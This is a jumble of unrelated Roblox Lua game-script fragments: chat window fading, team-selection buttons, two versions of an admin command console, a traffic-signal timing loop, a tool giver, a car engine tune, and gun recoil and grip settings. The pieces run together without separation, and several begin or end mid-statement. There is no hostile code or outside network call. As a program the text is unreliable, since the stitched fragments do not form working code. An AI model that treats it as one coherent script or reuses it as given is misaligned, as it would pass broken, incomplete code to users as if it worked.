lastTextFadeTime if (timeDiff > ChatSettings.ChatWindowTextFadeOutTime) then DoTextFadeOut() end else fadedChanged.Event:Wait() end end end) function getClassicChatEnabled() if ChatSettings.ClassicChatEnabled ~= nil then return ChatSettings.ClassicChatEnabled end return Players.ClassicChat end function getBubbleChatEnabled() if ChatSettings.BubbleChatEnabled ~= nil then return ChatSettings.BubbleChatEnabled end return Players.BubbleChat end function bubbleChatOnly() return not getClassicChatEnabled() and getBubbleChatEnabled() end function UpdateMousePosition(mousePos) if not (moduleApiTable.Visible and moduleApiTable.IsCoreGuiEnabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)) then return end if bubbleChatOnly() then return end local windowPos = ChatWindow.GuiObject.AbsolutePosition local windowSize = ChatWindow.GuiObject.AbsoluteSize local newMouseState = CheckIfPointIsInSquare(mousePos, windowPos, windowPos + windowSize) if (newMouseState ~= mouseIsInWindow) then UpdateFadingForMouseState(newMouseState) end end UserInputService.InputChanged:connect(function(inputObject) if (inputObject.UserInputType == Enum.UserInputType.MouseMovement) then local mousePos = Vector2.new(inputObject.Position.X, inputObject.Position.Y) UpdateMousePosition(mousePos) end end) UserInputService.TouchTap:connect(function(tapPos, gameProcessedEvent) UpdateMousePosition(tapPos[1]) end) UserInputService.TouchMoved:connect(function(inputObject, gameProcessedEvent) local tapPos = Vector2.new(inputObject.Position.X, inputObject.Position.Y) UpdateMousePosition(tapPos) end) UserInputService.Changed:connect(function(prop) if prop == "MouseBehavior" then if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then local windowPos = ChatWindow.GuiObject.AbsolutePosition local windowSize = ChatWindow.GuiObject.AbsoluteSize local screenSize = GuiParent.AbsoluteSize local centerScreenIsInWindow = CheckIfPointIsInSquare(screenSize/2, windowPos, windowPos + windowSize) if centerScreenIsInWindow then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end end)
--//SHADZYDEV//--
local team = script.Parent.Team local frame = script.Parent.Parent local player = game.Players.LocalPlayer script.Parent.MouseButton1Click:connect(function() frame.Visible = false player.Team = team.Value game.Lighting.Blur.Size = 0 workspace.CurrentCamera.CameraType = Enum.CameraType.Custom end)
-- Waiting for the player ensures that the RobloxLocaleId has been set.
if Players.LocalPlayer == nil then Players:GetPropertyChangedSignal("LocalPlayer"):Wait() end local coreScriptTableTranslator local function getTranslator() if coreScriptTableTranslator == nil then coreScriptTableTranslator = script.CoreScriptLocalization:GetTranslator( LocalizationService.RobloxLocaleId) end return coreScriptTableTranslator end local RobloxTranslator = {} function RobloxTranslator:FormatByKey(key, args) return getTranslator():FormatByKey(key, args) end return RobloxTranslator
--// All global vars will be wiped/replaced except script --// All guis are autonamed codeName..gui.Name
return function(data, env) if env then setfenv(1, env) end local player = service.Players.LocalPlayer local playergui = player.PlayerGui local gui = script.Parent.Parent local frame = gui.Frame local text = gui.Frame.TextBox local scroll = gui.Frame.ScrollingFrame local players = gui.Frame.PlayerList local entry = gui.Entry local BindEvent = gTable.BindEvent local opened = false local scrolling = false local debounce = false local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"}) local splitKey = settings.SplitKey local consoleKey = settings.ConsoleKeyCode local batchKey = settings.BatchKey local prefix = settings.Prefix local commands = client.Remote.Get('FormattedCommands') or {} local tweenInfo = TweenInfo.new(0.20)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, { Size = UDim2.new(1, 0, 0, 140); }) local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, { Size = UDim2.new(1, 0, 0, 40); }) local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, { Position = UDim2.new(0, 0, 0.02, 0); }) local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, { Position = UDim2.new(0, 0, 0, -200); }) frame.Position = UDim2.new(0,0,0,-200) frame.Visible = false frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false if client.Variables.ConsoleOpen then if client.Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat",true) end if client.Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled('PlayerList',true) end if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = true end end client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat") client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList') local function close() if gui:IsDescendantOf(game) and not debounce then debounce = true scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) scroll.ScrollingEnabled = false frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false players.Visible = false scrollOpen = false if client.Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat",true) end if client.Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled('PlayerList',true) end if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = true end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = true end consoleCloseTween:Play(); --service.SafeTweenPos(frame,UDim2.new(0,0,0,-200),'Out','Linear',0.2,true) --frame:TweenPosition(UDim2.new(0,0,0,-200),'Out','Linear',0.2,true) debounce = false opened = false end end local function open() if gui:IsDescendantOf(game) and not debounce then debounce = true client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat") client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList') service.StarterGui:SetCoreGuiEnabled("Chat",false) service.StarterGui:SetCoreGuiEnabled('PlayerList',false) scroll.ScrollingEnabled = true players.ScrollingEnabled = true if client.UI.Get("Notif") then client.UI.Get("Notif",nil,true).Object.LABEL.Visible = false end local scr = client.UI.Get("Chat",nil,true) if scr then scr.Object.Drag.Visible = false end local scr = client.UI.Get("PlayerList",nil,true) if scr then scr.Object.Drag.Visible = false end local scr = client.UI.Get("HintHolder",nil,true) if scr then scr.Object.Frame.Visible = false end consoleOpenTween:Play(); frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false players.Visible = false scrollOpen = false text.Text = '' frame.Visible = true frame.Position = UDim2.new(0,0,0,0) text:CaptureFocus() text.Text = '' wait() text.Text = '' debounce = false opened = true end end local function isInConsoleBounds(pos) -- input.Position for i,v in ipairs(playergui:GetGuiObjectsAtPosition(pos.X, pos.Y)) do if v == gui or v == gui.Frame then return true end end return false end text.FocusLost:Connect(function(enterPressed) if enterPressed then if text.Text~='' and string.len(text.Text)>1 then client.Remote.Send('ProcessCommand',text.Text) end close() elseif not isInConsoleBounds(player:GetMouse()) then close() end end) text.Changed:Connect(function(c) if c == 'Text' and text.Text ~= '' and open then if string.sub(text.Text, string.len(text.Text)) == " " then if players:FindFirstChild("Entry 0") then text.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players["Entry 0"].Text).." " elseif scroll:FindFirstChild("Entry 0") then text.Text = string.split(scroll["Entry 0"].Text, "<")[1] else text.Text = text.Text..prefix end text.CursorPosition = string.len(text.Text) + 1 text.Text = string.gsub(text.Text, " ", "") end scroll:ClearAllChildren() players:ClearAllChildren() local nText = text.Text if string.match(nText,".*"..batchKey.."([^']+)") then nText = string.match(nText,".*"..batchKey.."([^']+)") nText = string.match(nText,"^%s*(.-)%s*$") end local pNum = 0 local pMatch = string.match(nText,".+"..splitKey.."(.*)$") for i,v in next,service.Players:GetPlayers() do if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then local new = entry:Clone() new.Text = tostring(v) new.Name = "Entry "..pNum new.TextXAlignment = "Right" new.Visible = true new.Parent = players new.Position = UDim2.new(0,0,0,20*pNum) new.Activated:Connect(function() text.Text = text.Text..tostring(v) text:CaptureFocus() end) pNum = pNum+1 end end players.CanvasSize = UDim2.new(0,0,0,pNum*20) local num = 0 for i,v in next,commands do if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then if not scrollOpen then scrollOpenTween:Play(); --frame.Size = UDim2.new(1,0,0,140) scroll.Visible = true players.Visible = true scrollOpen = true end local b = entry:Clone() b.Visible = true b.Parent = scroll b.Text = v b.Name = "Entry "..num b.Position = UDim2.new(0,0,0,20*num) b.Activated:Connect(function() text.Text = b.Text:gsub("<.->", "") text:CaptureFocus() end) num = num+1 end end local temptween = service.TweenService:Create(frame, tweenInfo, { Size = UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140)); }) local temptween1 = service.TweenService:Create(scroll, tweenInfo, { CanvasSize = UDim2.new(0,0,0,num*20); }) temptween:Play(); temptween1:Play() elseif c == 'Text' and text.Text == '' and opened then scrollCloseTween:Play(); --service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) scroll.Visible = false players.Visible = false scrollOpen = false scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) end end) BindEvent(service.UserInputService.InputBegan, function(InputObject) local textbox = service.UserInputService:GetFocusedTextBox() if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then if opened then close() else open() end client.Variables.ConsoleOpen = opened end end) gTable:Ready() end
------------------------------------------------------
--========================SPOTLIGHT========================-- local SpotLightEvent = script.Parent.Car.Value.Body.Spotlight.RemoteEvent SpotlightFrame.On.MouseButton1Down:Connect(function()SpotLightEvent:FireServer("Lights on")script.Parent.AC6_Stock_Gauges.Frame.Beep:Play()end) SpotlightFrame.Off.MouseButton1Down:Connect(function()SpotLightEvent:FireServer("Lights off")script.Parent.AC6_Stock_Gauges.Frame.Beep:Play()end) SpotlightFrame.Right.MouseButton1Down:Connect(function()SpotLightEvent:FireServer("Right start")end) SpotlightFrame.Right.MouseButton1Up:Connect(function()SpotLightEvent:FireServer("Right stop")end) SpotlightFrame.Left.MouseButton1Down:Connect(function()SpotLightEvent:FireServer("Left start")end) SpotlightFrame.Left.MouseButton1Up:Connect(function()SpotLightEvent:FireServer("Left stop")end) --======================SPOTLIGHT END======================--
------------------------------------------------------------------------------------------------------------------------------------------------------ -- ControlScript ------------------------------------------------------------------------------------------------------------------------------------------------------
local Players = game:GetService('Players') local RunService = game:GetService('RunService') local UserInputService = game:GetService('UserInputService') local ReplicatedStorage = game:GetService('ReplicatedStorage') local PathfindingService = game:GetService('PathfindingService') local LocalPlayer = Players.LocalPlayer local LocalMouse = LocalPlayer:GetMouse() local LocalCharacter = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait() local MouseHolding = false local PathingThread = nil local CurrentPath = nil local HoldingPosition = false workspace.Camera.CameraType = Enum.CameraType.Custom
---------------------------------------------
SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 1 PedValues.PedSignal2a.Value = 1 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL1 GREEN) SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 2 PedValues.PedSignal2a.Value = 2 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 2 SignalValues.Signal1a.Value = 2 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 1 PedValues.PedSignal1a.Value = 1 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL2 GREEN) SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 2 PedValues.PedSignal1a.Value = 2 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 2 SignalValues.Signal2a.Value = 2 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED SignalValues.Signal1.Value = 1 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 1 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(10)--Green Time (BEGIN SIGNAL1 GREEN) SignalValues.Signal1.Value = 2 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 2 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN) TurnValues.TurnSignal1.Value = 3 SignalValues.Signal1.Value = 3 wait(2)--Clearance Cycle SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 1 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 1 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(10)--Green Time (BEGIN SIGNAL1a GREEN) SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 2 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 2 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4)--Yield Time (YIELD SIGNAL1a PROTECTED TURN GREEN) SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)--ALL RED SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 1 PedValues.PedSignal1a.Value = 1 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(26)--Green Time (BEGIN SIGNAL2 GREEN) SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 1 SignalValues.Signal2a.Value = 1 PedValues.PedSignal1.Value = 2 PedValues.PedSignal1a.Value = 2 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(6) -- Green Time + Time for flashing pedestrian signals SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 2 SignalValues.Signal2a.Value = 2 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(4) -- Yellow Time SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED end
--// All global vars will be wiped/replaced except script --// All guis are autonamed codeName..gui.Name
return function(data, env) if env then setfenv(1, env) end local player = service.Players.LocalPlayer local playergui = player.PlayerGui local gui = script.Parent.Parent local frame = gui.Frame local text = gui.Frame.TextBox local scroll = gui.Frame.ScrollingFrame local players = gui.Frame.PlayerList local entry = gui.Entry local BindEvent = gTable.BindEvent local opened = false local scrolling = false local scrollOpen = false local debounce = false local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"}) local splitKey = settings.SplitKey local consoleKey = settings.ConsoleKeyCode local batchKey = settings.BatchKey local prefix = settings.Prefix local commands = client.Remote.Get('FormattedCommands') or {} local scrollOpenSize = UDim2.new(0.36, 0, 0, 200) local scrollCloseSize = UDim2.new(0.36, 0, 0, 47) local openPos = UDim2.new(0.32, 0, 0.353, 0) local closePos = UDim2.new(0.32, 0, 0, -200) local tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, { Size = scrollOpenSize; }) local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, { Size = scrollCloseSize; }) local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, { Position = openPos; }) local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, { Position = closePos; }) frame.Position = closePos frame.Visible = false frame.Size = scrollCloseSize scroll.Visible = false client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat") client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList') local function close() if gui:IsDescendantOf(game) and not debounce then debounce = true scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) scroll.ScrollingEnabled = false frame.Size = scrollCloseSize scroll.Visible = false players.Visible = false scrollOpen = false consoleCloseTween:Play(); debounce = false opened = false end end local function open() if gui:IsDescendantOf(game) and not debounce then debounce = true scroll.ScrollingEnabled = true players.ScrollingEnabled = true consoleOpenTween:Play(); frame.Size = scrollCloseSize scroll.Visible = false players.Visible = false scrollOpen = false text.Text = '' frame.Visible = true frame.Position = openPos; text:CaptureFocus() text.Text = '' wait() text.Text = '' debounce = false opened = true end end text.FocusLost:Connect(function(enterPressed) if enterPressed then if text.Text~='' and string.len(text.Text)>1 then client.Remote.Send('ProcessCommand',text.Text) end end close() end) text.Changed:Connect(function(c) if c == 'Text' and text.Text ~= '' and open then if string.sub(text.Text, string.len(text.Text)) == " " then if players:FindFirstChild("Entry 0") then text.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players["Entry 0"].Text).." " elseif scroll:FindFirstChild("Entry 0") then text.Text = string.split(scroll["Entry 0"].Text, "<")[1] else text.Text = text.Text..prefix end text.CursorPosition = string.len(text.Text) + 1 text.Text = string.gsub(text.Text, " ", "") end scroll:ClearAllChildren() players:ClearAllChildren() local nText = text.Text if string.match(nText,".*"..batchKey.."([^']+)") then nText = string.match(nText,".*"..batchKey.."([^']+)") nText = string.match(nText,"^%s*(.-)%s*$") end local pNum = 0 local pMatch = string.match(nText,".+"..splitKey.."(.*)$") for i,v in next,service.Players:GetPlayers() do if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then local new = entry:Clone() new.Text = tostring(v) new.Name = "Entry "..pNum new.TextXAlignment = "Right" new.Visible = true new.Parent = players new.Position = UDim2.new(0,0,0,20*pNum) new.MouseButton1Down:Connect(function() text.Text = text.Text..tostring(v) text:CaptureFocus() end) pNum = pNum+1 end end players.CanvasSize = UDim2.new(0,0,0,pNum*20) local num = 0 for i,v in next,commands do if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then if not scrollOpen then scrollOpenTween:Play(); --frame.Size = UDim2.new(1,0,0,140) scroll.Visible = true players.Visible = true scrollOpen = true end local b = entry:Clone() b.Visible = true b.Parent = scroll b.Text = v b.Name = "Entry "..num b.Position = UDim2.new(0,0,0,20*num) b.MouseButton1Down:Connect(function() text.Text = b.Text text:CaptureFocus() end) num = num+1 end end if num > 0 then frame.Size = UDim2.new(0.36, 0, 0, math.clamp((math.max(num, pNum)*20)+53, 47, 200)) else players.Visible = false frame.Size = scrollCloseSize end scroll.CanvasSize = UDim2.new(0,0,0,num*20) elseif c == 'Text' and text.Text == '' and opened then scrollCloseTween:Play(); --service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) scroll.Visible = false players.Visible = false scrollOpen = false scroll:ClearAllChildren() scroll.CanvasSize = UDim2.new(0,0,0,0) end end) BindEvent(service.UserInputService.InputBegan, function(InputObject) local textbox = service.UserInputService:GetFocusedTextBox() if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then if opened then close() else open() end client.Variables.ConsoleOpen = opened end end) gTable:Ready() end
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.Boomerang -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {16,20} --- Vertical Recoil ,HRecoil = {8,12} --- Horizontal Recoil ,AimRecover = .325 ---- Between 0 & 1 ,RecoilPunch = .25 ,VPunchBase = 4.75 --- Vertical Punch ,HPunchBase = 2.5 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .75 ,MaxRecoilPower = 2 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.12 --- Min bullet spread value | Studs ,MaxSpread = 30 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = .15 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 3 --- Max sway value based on player stamina | Studs
--
script.Parent.basla.MouseButton1Click:Connect(function() game.Lighting.Blur.Size = 0 workspace.CurrentCamera.CameraType = "Custom" script.Parent.Parent.Parent.Envanter.Enabled = true script.Parent.Parent.Shad.Enabled = true game.SoundService.Music:Play() -- script.Parent:Destroy() end)
--Character Script --Unless you know what you're doing, do not modify this script.
local tool = script.Tool.Value --This identifies the tool to perform actions on. local player = script.Player.Value --This identifies the player of the character this script is inside. if player ~= nil then --This ensures that the player exists. local humanoidrootpart = script.Parent:WaitForChild("HumanoidRootPart") --This identifies the HumanoidRootPart inside the character. player.CharacterRemoving:Connect(function() --This detects the removal of the character. tool.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position. tool.Parent = workspace --This puts the tool into Workspace, allowing players to pick it up. end) else --If the player doesn't exist, the following code will run instead. script:Destroy() --This removes this script. end
-- Amount of damage players will take when standing in lava
local LAVA_DPS = 300
--[[ ServerPlayer state for when the player is using the camera system. ]]
local ServerStorage = game:GetService("ServerStorage") local ReplicatedStorage = game:GetService("ReplicatedStorage") local MonsterManager = require(ServerStorage.Source.Managers.MonsterManager) local LeaveCamera = ReplicatedStorage.Remotes.LeaveCamera local NOISE_GENERATED = 50 local connections = {}
--CHANGE THIS LINE-- (Turn)
Turn = script.Parent.Parent.Parent.ControlBox.TurnValues.TurnSignal1a -- Change last word
--[[Engine]]
--Torque Curve Tune.Horsepower = 468 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 4500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
UseCommonVisualEffects = false; --Enable to use default visual effect folder named "Common". Otherwise, use visual effect with specific tool name (ReplicatedStorage -> Miscs -> GunVisualEffects) AutoReload = false; --Reload automatically when you run out of mag; disabling it will make you reload manually CancelReload = true; --Exit reload state when you fire the gun DirectShootingAt = "None"; --"FirstPerson", "ThirdPerson" or "Both". Make bullets go straight from the fire point instead of going to input position. Set to "None" to disable this --Check "DualWeldEnabled" for detail PrimaryHandle = "Handle"; SecondaryHandle = "Handle2"; CustomGripEnabled = false; --NOTE: Must disable "RequiresHandle" first CustomGripName = "Handle"; CustomGripPart0 = {"Character", "Right Arm"}; --Base CustomGripPart1 = {"Tool", "Handle"}; --Target AlignC0AndC1FromDefaultGrip = true; CustomGripCFrame = false; CustomGripC0 = CFrame.new(0, 0, 0); CustomGripC1 = CFrame.new(0, 0, 0); 